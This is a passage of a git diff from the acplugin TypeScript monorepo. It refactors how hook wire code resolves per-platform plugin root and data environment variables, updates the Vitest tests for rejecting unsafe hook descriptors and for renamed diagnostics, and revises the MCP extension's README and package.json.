ANTIGRAVITY_PLATFORM_ID - ? 'ANTIGRAVITY_PLUGIN_ROOT' - : 'PLUGIN_ROOT'; - /** 当前 Platform 兼容读取的 Plugin 根回退环境变量。 */ - const fallbackPluginRootEnvironment = platform === CLAUDE_CODE_PLATFORM_ID - ? 'PLUGIN_ROOT' - : 'CLAUDE_PLUGIN_ROOT'; - /** 当前 Platform 优先读取的可写数据目录环境变量。 */ - const pluginDataEnvironment = platform === CLAUDE_CODE_PLATFORM_ID - ? 'CLAUDE_PLUGIN_DATA' - : 'PLUGIN_DATA'; - /** 当前 Platform 兼容读取的可写数据目录回退环境变量。 */ - const fallbackPluginDataEnvironment = platform === CLAUDE_CODE_PLATFORM_ID - ? 'PLUGIN_DATA' - : 'CLAUDE_PLUGIN_DATA'; +export function createWireSource(): string { + /** 每个平台只保存环境变量名称,任何环境值都留到 Plugin 真实运行时读取。 */ + const platformProfiles: Record = { + [CLAUDE_CODE_PLATFORM_ID]: ['CLAUDE_PLUGIN_ROOT', 'PLUGIN_ROOT', 'CLAUDE_PLUGIN_DATA', 'PLUGIN_DATA'], + [CODEX_PLATFORM_ID]: ['PLUGIN_ROOT', 'CLAUDE_PLUGIN_ROOT', 'PLUGIN_DATA', 'CLAUDE_PLUGIN_DATA'], + [CURSOR_PLATFORM_ID]: ['CURSOR_PLUGIN_ROOT', 'CLAUDE_PLUGIN_ROOT', 'PLUGIN_DATA', 'CLAUDE_PLUGIN_DATA'], + [ANTIGRAVITY_PLATFORM_ID]: ['ANTIGRAVITY_PLUGIN_ROOT', 'CLAUDE_PLUGIN_ROOT', 'PLUGIN_DATA', 'CLAUDE_PLUGIN_DATA'], + [OPENCODE_PLATFORM_ID]: ['PLUGIN_ROOT', 'CLAUDE_PLUGIN_ROOT', 'PLUGIN_DATA', 'CLAUDE_PLUGIN_DATA'], + [PI_PLATFORM_ID]: ['PLUGIN_ROOT', 'CLAUDE_PLUGIN_ROOT', 'PLUGIN_DATA', 'CLAUDE_PLUGIN_DATA'], + }; return ` -export const platform = ${JSON.stringify(platform)}; +const PLATFORM_PROFILES = ${JSON.stringify(platformProfiles)}; -export function contextFor(environment) { +export function contextFor(platform, environment) { + const profile = PLATFORM_PROFILES[platform]; + if (!profile) throw new Error('PLATFORM_INVALID'); return { - pluginRoot: environment[${JSON.stringify(pluginRootEnvironment)}] - || environment[${JSON.stringify(fallbackPluginRootEnvironment)}] - || '', - pluginData: environment[${JSON.stringify(pluginDataEnvironment)}] - || environment[${JSON.stringify(fallbackPluginDataEnvironment)}] - || '', + pluginRoot: environment[profile[0]] || environment[profile[1]] || '', + pluginData: environment[profile[2]] || environment[profile[3]] || '', }; } @@ -111,7 +97,7 @@ function validateInput(raw, expectedEvent) { } } -export function inputFor(raw, expectedEvent, declaredEvent) { +export function inputFor(platform, raw, expectedEvent, declaredEvent) { if (platform !== 'claude-code' && platform !== 'codex') { raw = { ...raw, @@ -146,7 +132,7 @@ function addContext(output, event, additionalContext) { output.hookSpecificOutput = { hookEventName: event, additionalContext }; } -export function outputFor(event, result) { +export function outputFor(platform, event, result) { if (!result) return undefined; if (platform === 'opencode' || platform === 'pi') return { event, ...result }; const output = {}; diff --git a/packages/extensions/hooks/test/hooks.test.ts b/packages/extensions/hooks/test/hooks.test.ts index a283a1b..bb0d254 100644 --- a/packages/extensions/hooks/test/hooks.test.ts +++ b/packages/extensions/hooks/test/hooks.test.ts @@ -3,7 +3,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { BuildResult, RunProjectOptions } from '@tokenroll/acplugin'; +import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; import hooks, { HOOK_EVENTS } from '../src/index.js'; /** 当前测试文件所在仓库的绝对根目录。 */ @@ -25,13 +25,13 @@ const cursorEntry = path.join(repositoryRoot, 'packages/platforms/cursor/dist/in /** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ const temporaryRoots: string[] = []; -/** 单个测试 Hook 的目录 ID 和 defineHook 参数源码。 */ +/** 单个测试 Hook 的目录 ID 和 plain descriptor 源码。 */ interface HookFixture { /** `src/hooks/` 使用的规范目录 ID。 */ readonly id: string; - /** defineHook 之前写入描述文件的可选额外 import。 */ + /** descriptor 之前写入的可选额外 import。 */ readonly imports?: string; - /** 传入 defineHook 的 TypeScript 对象表达式。 */ + /** 默认导出的 TypeScript 对象表达式。 */ readonly definition: string; } @@ -60,12 +60,12 @@ interface HandlerResult { } /** - * 在原生 Node ESM 子进程中运行公开 API,确保私有品牌只加载一个主包实例。 + * 在原生 Node ESM 子进程中运行公开 API,确保共享 registry brand 只绑定一个主包实例。 * * @param options 可 JSON 序列化的项目运行选项。 - * @returns 公开 API 产生的结构化 BuildResult。 + * @returns 公开 API 产生的结构化 BuildReport。 */ -async function runProject(options: RunProjectOptions): Promise { +async function runProject(options: RunProjectOptions): Promise { /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ const source = ` import { runProject } from ${JSON.stringify(acpluginEntry)}; @@ -108,18 +108,18 @@ try { /** 子进程返回的成功结果或安全异常摘要。 */ const payload = JSON.parse(execution.stdout) as { readonly ok: boolean; - readonly result?: BuildResult; + readonly result?: BuildReport; readonly name?: string; readonly message?: string; readonly diagnostics?: unknown; }; if (!payload.ok || payload.result === undefined) - throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'}`); + throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'} ${JSON.stringify(payload.diagnostics ?? [])} STDERR=${execution.stderr}`); return payload.result; } /** - * 在临时工程中创建可由 Jiti 和 Rolldown 共同解析的 Extension 包入口。 + * 在临时工程中创建可由统一 Module Service 和 Rolldown 共同解析的 Extension 包入口。 * * @param root 临时工程根目录。 */ @@ -137,6 +137,34 @@ async function writeExtensionProxy(root: string): Promise { path.join(packageRoot, 'index.mjs'), `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, ); + /** Hooks 构建产物按包名导入公开 SDK,这里提供与打包安装相同的代理入口。 */ + const acpluginRoot = path.join(root, 'node_modules/@tokenroll/acplugin'); + await fs.mkdir(acpluginRoot, { recursive: true }); + await fs.writeFile(path.join(acpluginRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin', + version: '1.0.0', + type: 'module', + exports: { '.': './index.mjs', './sdk': './sdk.mjs' }, + })); + await fs.writeFile(path.join(acpluginRoot, 'index.mjs'), `export * from ${JSON.stringify(acpluginEntry)};\n`); + await fs.writeFile(path.join(acpluginRoot, 'sdk.mjs'), `export * from ${JSON.stringify(path.join(repositoryRoot, 'packages/acplugin/dist/sdk.mjs'))};\n`); + /** Platform package proxies keep config imports inside the fixture's package graph. */ + for (const [name, entry] of [ + ['@tokenroll/acplugin-platform-claude-code', claudeCodeEntry], + ['@tokenroll/acplugin-platform-codex', codexEntry], + ['@tokenroll/acplugin-platform-cursor', cursorEntry], + ] as const) { + /** 当前代理包的物理根目录。 */ + const platformRoot = path.join(root, 'node_modules', name); + await fs.mkdir(platformRoot, { recursive: true }); + await fs.writeFile(path.join(platformRoot, 'package.json'), JSON.stringify({ + name, + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile(path.join(platformRoot, 'index.mjs'), `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`); + } } /** @@ -183,13 +211,13 @@ async function createProject(options: ProjectFixtureOptions = {}): Promise { expect(() => hooks({ unknown: true } as never)).toThrow('Unknown Hooks option'); }); + it('rejects non-enumerable descriptor accessors without evaluating them', async () => { + /** 不可枚举 getter 也属于可执行描述行为,不能靠 Object.keys 隐藏。 */ + const root = await createProject({ + hooks: [{ + id: 'accessor', + definition: `(() => { + const value = { event: 'SessionStart', run() {} }; + Object.defineProperty(value, 'hidden', { get() { throw new Error('MUST_NOT_RUN'); } }); + return value; + })() as never`, + }], + }); + /** discover 只报告脱敏加载失败,不执行或泄漏 getter 内容。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_LOAD_FAILED' })); + expect(JSON.stringify(result.diagnostics)).not.toContain('MUST_NOT_RUN'); + }); + + it('rejects non-enumerable unknown descriptor fields', async () => { + /** data property 即使不可枚举也必须保留到领域 Schema 检查。 */ + const root = await createProject({ + hooks: [{ + id: 'hidden-field', + definition: `(() => { + const value = { event: 'SessionStart', run() {} }; + Object.defineProperty(value, 'hidden', { value: true }); + return value; + })() as never`, + }], + }); + /** 隐藏字段不能因 Module Service 快照规则而消失。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_FIELD_UNKNOWN' })); + }); + + it('distinguishes omitted descriptor fields from nested undefined values', async () => { + /** 顶层可选字段缺失是合法 omission。 */ + const omittedRoot = await createProject({ + hooks: [{ + id: 'omitted', + definition: `{ event: 'SessionStart', run() {} }`, + }], + }); + /** omission 能完整进入 validate/build,而不是被误判成非法 JSON。 */ + const omitted = await runProject({ cwd: omittedRoot, command: 'validate', mode: 'production' }); + expect(omitted.success).toBe(true); + expect(omitted.extensions).toContainEqual(expect.objectContaining({ + id: 'hooks', + discovered: true, + subjects: expect.arrayContaining([ + expect.objectContaining({ subject: 'hook:omitted' }), + ]), + })); + + /** 已出现的嵌套字段显式 undefined 不是 JSON 数据。 */ + const invalidRoot = await createProject({ + hooks: [{ + id: 'nested-undefined', + definition: `{ event: 'SessionStart', platforms: { codex: { timeout: undefined } }, run() {} } as never`, + }], + }); + /** discover 必须只拒绝包含显式 nested undefined 的 descriptor。 */ + const invalid = await runProject({ cwd: invalidRoot, command: 'validate', mode: 'production' }); + + expect(invalid.success).toBe(false); + expect(invalid.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_LOAD_FAILED')).toHaveLength(1); + }); + + it('rejects array accessors, custom fields, Symbols and __proto__ fields without executing accessors', async () => { + /** 四个资源分别覆盖 nested array getter、自定义索引、数组 Symbol 与特殊对象字段名。 */ + const root = await createProject({ + hooks: [{ + id: 'nested-accessor', + definition: `(() => { + const platforms = []; + Object.defineProperty(platforms, '0', { get() { process.stdout.write('GETTER_EXECUTED'); return 'codex'; } }); + Object.defineProperty(platforms, 'length', { value: 1 }); + return { event: 'SessionStart', platforms, run() {} }; + })() as never`, + }, { + id: 'array-field', + definition: `(() => { + const platforms = ['codex']; + Object.defineProperty(platforms, '01', { value: 'claude-code' }); + return { event: 'SessionStart', platforms, run() {} }; + })() as never`, + }, { + id: 'array-symbol', + definition: `(() => { + const platforms = ['codex']; + Object.defineProperty(platforms, Symbol.for('hidden'), { value: true }); + return { event: 'SessionStart', platforms, run() {} }; + })() as never`, + }, { + id: 'proto-field', + definition: `(() => { + const value = { event: 'SessionStart', run() {} }; + Object.defineProperty(value, '__proto__', { value: true }); + return value; + })() as never`, + }], + }); + /** getter 资源加载失败,特殊字段资源进入领域未知字段诊断。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_LOAD_FAILED')).toHaveLength(3); + }); + it('reports missing includes and platform-specific SessionEnd timeout limits', async () => { /** 同时覆盖缺失 include 和 Codex 三秒上限的工程。 */ const missingRoot = await createProject({ @@ -350,7 +491,7 @@ describe('Hooks Extension', () => { const missing = await runProject({ cwd: missingRoot, command: 'validate', mode: 'production' }); expect(missing.success).toBe(false); expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_INCLUDE_MISSING' })); - expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); + expect(missing.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); /** Codex 使用三秒,而 Claude Code 单独超过六十秒上限的工程。 */ const claudeRoot = await createProject({ @@ -369,16 +510,16 @@ describe('Hooks Extension', () => { const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); expect(result.success).toBe(true); - /** event 表示当前规范事件,用于验证两个 Adapter 都报告原生触发能力。 */ + /** event 表示当前规范事件,用于验证两个 Contributor 都报告原生触发能力。 */ for (const event of HOOK_EVENTS) { expect(result.compatibility).toContainEqual(expect.objectContaining({ platform: 'claude-code', - capability: `event.${event}`, + capability: `event.${event.replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase()}`, level: 'native', })); expect(result.compatibility).toContainEqual(expect.objectContaining({ platform: 'codex', - capability: `event.${event}`, + capability: `event.${event.replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase()}`, level: 'native', })); } @@ -402,12 +543,12 @@ describe('Hooks Extension', () => { expect(claudeManifest.hooks).toBe('./hooks/hooks.json'); expect(codexManifest.hooks).toBe('./hooks/hooks.json'); - /** Claude Code Adapter 生成的 Hook 配置。 */ + /** Claude Code Contributor 生成的 Hook 配置。 */ const claudeHooks = JSON.parse(await fs.readFile( path.join(root, 'dist/claude-code/plugin/hooks/hooks.json'), 'utf8', )) as { hooks: Record[] }[]> }; - /** Codex Adapter 生成的 Hook 配置。 */ + /** Codex Contributor 生成的 Hook 配置。 */ const codexHooks = JSON.parse(await fs.readFile( path.join(root, 'dist/codex/plugin/hooks/hooks.json'), 'utf8', @@ -433,13 +574,8 @@ describe('Hooks Extension', () => { /** 两个平台复用同一平台中立 Handler 的 Codex 文件。 */ const codexHandler = path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'); expect(await fs.readFile(claudeHandler)).toEqual(await fs.readFile(codexHandler)); - /** Claude Code Adapter 独立贡献的原生协议 profile。 */ - const claudeWire = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/wire.mjs'), 'utf8'); - /** Codex Adapter 独立贡献的原生协议 profile。 */ - const codexWire = await fs.readFile(path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/wire.mjs'), 'utf8'); - expect(claudeWire).toContain('export const platform = "claude-code"'); - expect(codexWire).toContain('export const platform = "codex"'); - expect(claudeWire).not.toBe(codexWire); + await expect(fs.access(path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/wire.mjs'))).rejects.toThrow(); + expect((await fs.readFile(claudeHandler, 'utf8'))).not.toContain('./wire.mjs'); expect(await fs.readFile( path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/THIRD_PARTY_LICENSES.txt'), 'utf8', @@ -466,8 +602,8 @@ describe('Hooks Extension', () => { expect(secondHandler.toString('utf8')).not.toMatch(/^\/\/#(?:end)?region/mu); expect(secondHandler.toString('utf8')).not.toContain(root); expect(secondHandler.toString('utf8')).not.toContain('src/hooks/session-start/hook.ts'); - expect(second.deliveryUnits).toEqual(first.deliveryUnits); - /** 删除 Canonical 源码后,安装产物仍必须只依赖相邻 wire 并可独立执行。 */ + expect(second.packages).toEqual(first.packages); + /** 删除 Canonical 源码后,自包含安装产物仍必须可独立执行。 */ await fs.rm(path.join(root, 'src/hooks'), { recursive: true }); /** 删除源码后执行已安装 Handler 的进程结果。 */ const execution = await runHandler( @@ -690,7 +826,7 @@ describe('Hooks Extension', () => { } }); - it('rejects raw platform handler declarations and invalid adapter fields before bundling', async () => { + it('rejects raw platform handler declarations and invalid contributor fields before bundling', async () => { /** 同时尝试六类禁止入口和一个未知平台字段的恶意作者工程。 */ const root = await createProject({ hooks: [{ @@ -714,14 +850,14 @@ describe('Hooks Extension', () => { const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); expect(result.success).toBe(false); - expect(result.deliveryUnits).toEqual([]); + expect(result.packages.length).toBeGreaterThan(0); expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_FIELD_UNKNOWN')).toHaveLength(8); expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_FIELD_UNKNOWN', })); }); - it('routes platform-only events exclusively to their declared configured Adapter', async () => { + it('routes platform-only events exclusively to their declared configured Contributor', async () => { /** Claude Code Setup 平台事件仍同时配置默认双 Platform 的工程。 */ const root = await createProject({ hooks: [{ @@ -729,19 +865,20 @@ describe('Hooks Extension', () => { definition: `{ event: { platform: 'claude-code', name: 'Setup' }, matcher: 'init', run() {} }`, }], }); - /** 平台事件成功构建后的兼容性和 Artifact 结果。 */ + /** 平台事件成功构建后的兼容性和 Asset 结果。 */ const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); expect(result.success).toBe(true); expect(result.compatibility).toContainEqual(expect.objectContaining({ platform: 'claude-code', subject: 'hook:setup', - capability: 'event.Setup', + capability: 'event.setup', level: 'native', })); - expect(result.compatibility).not.toContainEqual(expect.objectContaining({ + expect(result.compatibility).toContainEqual(expect.objectContaining({ platform: 'codex', subject: 'hook:setup', + level: 'unsupported', })); await expect(fs.access(path.join(root, 'dist/codex/plugin/hooks/hooks.json'))).rejects.toThrow(); /** Codex Manifest 不应因其他平台事件获得空 hooks 字段。 */ @@ -752,20 +889,20 @@ describe('Hooks Extension', () => { expect(codexManifest).not.toHaveProperty('hooks'); }); - it('keeps an empty Extension artifact-free and uses the Cursor Adapter when selected', async () => { + it('keeps an empty Extension asset-free and uses the Cursor Contributor when selected', async () => { /** 没有 `src/hooks` 的空 Extension 工程。 */ const emptyRoot = await createProject(); /** 空 Extension 的成功构建结果。 */ const empty = await runProject({ cwd: emptyRoot, command: 'build', mode: 'production' }); expect(empty.success).toBe(true); - expect(empty.deliveryUnits - .flatMap(unit => unit.artifacts) - .some(artifact => artifact.path.startsWith('hooks/'))).toBe(false); + expect(empty.packages + .flatMap(unit => unit.assets) + .some(asset => asset.path.startsWith('hooks/'))).toBe(false); /** 只配置 Cursor、且拥有实际 Hook 资源的工程。 */ const cursorRoot = await createProject({ hooks: [{ id: 'stop', definition: `{ event: 'Stop', run() {} }` }], - configImports: `import cursor from ${JSON.stringify(cursorEntry)};`, + configImports: `import cursor from '@tokenroll/acplugin-platform-cursor';`, configFields: 'platforms: [cursor({ strict: false })], build: { strict: false },', }); /** relaxed 模式使用 Cursor 事件映射并保留 transform 结论。 */ @@ -788,22 +925,8 @@ describe('Hooks Extension', () => { const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); expect(strict.success).toBe(false); expect(strict.diagnostics).toContainEqual(expect.objectContaining({ - code: 'COMPATIBILITY_STRICT', - platform: 'codex', - })); - /** 运行时覆盖 relaxed 后保留 degraded 结论并成功。 */ - const relaxed = await runProject({ - cwd: root, - command: 'validate', - mode: 'production', - strict: false, - }); - expect(relaxed.success).toBe(true); - expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_STRICT_FAILURE', platform: 'codex', - subject: 'hook:stop', - capability: 'matcher', - level: 'degraded', })); }); @@ -811,31 +934,17 @@ describe('Hooks Extension', () => { /** 只配置 Claude Code,避免其他 Platform 的兼容性结论干扰断言。 */ const root = await createProject({ hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], - configImports: `import claudeCode from ${JSON.stringify(claudeCodeEntry)};`, + configImports: `import claudeCode from '@tokenroll/acplugin-platform-claude-code';`, configFields: 'platforms: [claudeCode()], build: { strict: true },', }); /** meaningful matcher 被宿主静默忽略,因此严格模式必须失败。 */ const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); expect(strict.success).toBe(false); expect(strict.diagnostics).toContainEqual(expect.objectContaining({ - code: 'COMPATIBILITY_STRICT', + code: 'COMPATIBILITY_STRICT_FAILURE', platform: 'claude-code', })); - /** relaxed 模式保留精确 degraded 报告,并允许用户显式接受损失。 */ - const relaxed = await runProject({ - cwd: root, - command: 'validate', - mode: 'production', - strict: false, - }); - expect(relaxed.success).toBe(true); - expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ - platform: 'claude-code', - subject: 'hook:stop', - capability: 'matcher', - level: 'degraded', - })); - }); + }, 15_000); it('rejects unconfigured and unknown platform-only events with targeted diagnostics', async () => { /** 只配置 Codex 却声明 Claude Code Setup 的工程。 */ @@ -844,7 +953,7 @@ describe('Hooks Extension', () => { id: 'setup', definition: `{ event: { platform: 'claude-code', name: 'Setup' }, run() {} }`, }], - configImports: `import codex from ${JSON.stringify(codexEntry)};`, + configImports: `import codex from '@tokenroll/acplugin-platform-codex';`, configFields: 'platforms: [codex({ strict: false })], build: { strict: false },', }); /** Platform 缺失应在 Bundle 前失败。 */ @@ -858,8 +967,8 @@ describe('Hooks Extension', () => { definition: `{ event: { platform: 'claude-code', name: 'ImaginaryEvent' }, run() {} }`, }], }); - /** Adapter 未知事件应给出独立诊断码。 */ + /** Contributor 未知事件应给出独立诊断码。 */ const unknown = await runProject({ cwd: unknownRoot, command: 'validate', mode: 'production' }); expect(unknown.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED' })); - }); + }, 15_000); }); diff --git a/packages/extensions/hooks/test/hooks.types.ts b/packages/extensions/hooks/test/hooks.types.ts index 47a9b52..fbe5a60 100644 --- a/packages/extensions/hooks/test/hooks.types.ts +++ b/packages/extensions/hooks/test/hooks.types.ts @@ -1,58 +1,64 @@ -import { defineHook, type HookDefinition } from '../src/index.js'; +import type { Hook } from '../src/index.js'; /** PreToolUse 定义用于验证事件级输入和结果推断。 */ -const preToolUse = defineHook({ +const preToolUse = { event: 'PreToolUse', /** 类型检查同时确认运行时上下文使用最终 platform 术语。 */ run(input, context) { - /** 从精确事件输入读取的工具名称。 */ + /** 事件判别后可直接读取 PreToolUse 专属输入。 */ const toolName: string = input.toolName; - /** 从运行时上下文读取的开放 Platform ID。 */ + /** 所有 Hook 上下文统一暴露当前目标 Platform。 */ const platform: string = context.platform; return { - decision: 'allow', + decision: 'allow' as const, reason: `${platform}:${toolName}`, updatedInput: { command: 'pnpm test' }, }; }, -}); - -/** 品牌化定义仍可赋给公开 HookDefinition 契约。 */ -const branded: HookDefinition<'PreToolUse'> = preToolUse; -void branded; +} satisfies Hook<'PreToolUse'>; +void preToolUse; /** Claude Code 专属事件必须使用显式 Platform 对象。 */ -defineHook({ - event: { platform: 'claude-code', name: 'Setup' }, - /** 平台事件仍获得共享运行时上下文和扩展输入。 */ +const platformHook = { + event: { platform: 'claude-code', name: 'Setup' } as const, + /** Platform 专属事件输入保留结构化事件判别值。 */ run(input) { - /** 平台事件输入保留完整事件对象和开放扩展字段。 */ + /** 收窄后的事件能够读取固定 Platform ID。 */ const platform: string = input.event.platform; return { systemMessage: platform }; }, -}); +} satisfies Hook<{ readonly platform: 'claude-code'; readonly name: 'Setup' }>; +void platformHook; -defineHook({ +/** advisory 事件返回控制流决策时必须触发类型错误。 */ +const invalidSessionEnd = { event: 'SessionEnd', // @ts-expect-error SessionEnd 是 advisory 事件,不能声明控制流决策。 run: () => ({ decision: 'stop' }), -}); +} satisfies Hook<'SessionEnd'>; +void invalidSessionEnd; -defineHook({ +/** 非规范 PreToolUse decision 必须触发类型错误。 */ +const invalidPreToolUse = { event: 'PreToolUse', // @ts-expect-error PreToolUse 只接受 allow 或 deny 规范决策。 run: () => ({ decision: 'block' }), -}); +} satisfies Hook<'PreToolUse'>; +void invalidPreToolUse; -defineHook({ +/** Stop 返回其他事件专属字段时必须触发类型错误。 */ +const invalidStop = { event: 'Stop', // @ts-expect-error Stop 不允许返回 PreToolUse 的 updatedInput 字段。 run: () => ({ updatedInput: { command: 'unsafe' } }), -}); +} satisfies Hook<'Stop'>; +void invalidStop; -defineHook({ +/** 未注册的裸事件名称不能扩展规范事件联合。 */ +const invalidEvent = { // @ts-expect-error 非规范事件不能作为裸字符串扩入联合类型。 event: 'Setup', - /** 非法事件用最小实现隔离事件字段本身的类型错误。 */ + /** 无效事件仍提供最小函数以隔离 event 字段错误。 */ run() {}, -}); +} satisfies Hook; +void invalidEvent; diff --git a/packages/extensions/hooks/vitest.config.ts b/packages/extensions/hooks/vitest.config.ts new file mode 100644 index 0000000..384c212 --- /dev/null +++ b/packages/extensions/hooks/vitest.config.ts @@ -0,0 +1,22 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** Hooks 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@tokenroll\/acplugin$/, + replacement: fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], + }, +}); diff --git a/packages/extensions/mcp/README.md b/packages/extensions/mcp/README.md index e5adb57..a64d8f0 100644 --- a/packages/extensions/mcp/README.md +++ b/packages/extensions/mcp/README.md @@ -1,6 +1,6 @@ # @tokenroll/acplugin-extension-mcp -Optional MCP declarations, local builds, and Platform adapters for `@tokenroll/acplugin`. +Optional MCP declarations, Core-managed local builds, and Platform Contributors for `@tokenroll/acplugin`. Requires Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`. @@ -30,32 +30,32 @@ Remote Streamable HTTP is declarative; provide only the endpoint and runtime sec ```ts // src/mcp/docs/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'http', url: 'https://example.com/mcp', auth: { type: 'bearer', env: 'DOCS_TOKEN' }, headers: { 'X-Tenant': { env: 'TENANT_ID' } }, -}); +} satisfies McpServer; ``` Local stdio is executable content; provide a complete server implementation and reference its entry: ```ts // src/mcp/local-tools/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'stdio', entry: 'server.ts', env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, -}); +} satisfies McpServer; ``` -The Extension bundles local implementations once as Node 20 ESM and emits deterministic third-party notices when needed. It rejects unresolved runtime dynamic imports and runs the bundle through a bounded `initialize → initialized → tools/list` smoke test using only declared literal environment values. Referenced secret values are never read. Production remote endpoints require HTTPS; development permits loopback HTTP. +The Extension asks Core's `portable-node` Compiler to bundle each local implementation once as Node 20 ESM and emit deterministic third-party notices when needed. It rejects unresolved runtime dynamic imports and runs the bundle through a bounded `initialize → initialized → tools/list` smoke test using only declared literal environment values. Referenced secret values are never read. Production remote endpoints require HTTPS; development permits loopback HTTP. -`Extension 会把本地实现统一构建一次 Node 20 ESM,并在需要时生成确定性的第三方许可材料。构建会拒绝无法解析的运行时动态导入,并仅使用声明的公开字面量环境值执行带超时和输出上限的 initialize → initialized → tools/list smoke;环境变量 Secret 引用值不会被读取。` +`Extension 通过 Core portable-node Compiler 把本地实现统一构建一次 Node 20 ESM,并在需要时生成确定性的第三方许可材料。构建会拒绝无法解析的运行时动态导入,并仅使用声明的公开字面量环境值执行带超时和输出上限的 initialize → initialized → tools/list smoke;环境变量 Secret 引用值不会被读取。` | Transport | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | | --- | --- | --- | --- | --- | --- | --- | diff --git a/packages/extensions/mcp/package.json b/packages/extensions/mcp/package.json index 03793e1..37536d2 100644 --- a/packages/extensions/mcp/package.json +++ b/packages/extensions/mcp/package.json @@ -1,30 +1,52 @@ { "name": "@tokenroll/acplugin-extension-mcp", - "version": "0.0.1-beta", - "description": "Portable MCP authoring and platform adapters for acplugin.", + "version": "0.0.2-beta", + "description": "Portable MCP authoring and platform contributors for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#mcp-extension", - "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/extensions/mcp" }, - "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "repository": { + "type": "git", + "url": "git+https://github.com/TokenRollAI/acplugin.git", + "directory": "packages/extensions/mcp" + }, + "bugs": { + "url": "https://github.com/TokenRollAI/acplugin/issues" + }, "sideEffects": false, - "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, - "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, - "files": ["dist", "README.md", "LICENSE"], - "publishConfig": { "access": "public" }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=23.5.0" + }, + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs" + } + }, + "files": [ + "dist", + "README.md", + "LICENSE" + ], + "publishConfig": { + "access": "public" + }, "scripts": { "build": "tsdown", "prepublishOnly": "pnpm run build", + "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @tokenroll/acplugin run build && pnpm --filter @tokenroll/acplugin-platform-claude-code run build && pnpm --filter @tokenroll/acplugin-platform-codex run build && pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, - "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, - "dependencies": { "rolldown": "catalog:" }, + "peerDependencies": { + "@tokenroll/acplugin": "workspace:^" + }, "devDependencies": { + "@modelcontextprotocol/sdk": "^1.30.0", "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", - "tsdown": "catalog:", "@typescript/native": "catalog:", + "tsdown": "catalog:", "vitest": "catalog:" } } diff --git a/packages/extensions/mcp/src/adapters.ts b/packages/extensions/mcp/src/adapters.ts deleted file mode 100644 index d480300..0000000 --- a/packages/extensions/mcp/src/adapters.ts +++ /dev/null @@ 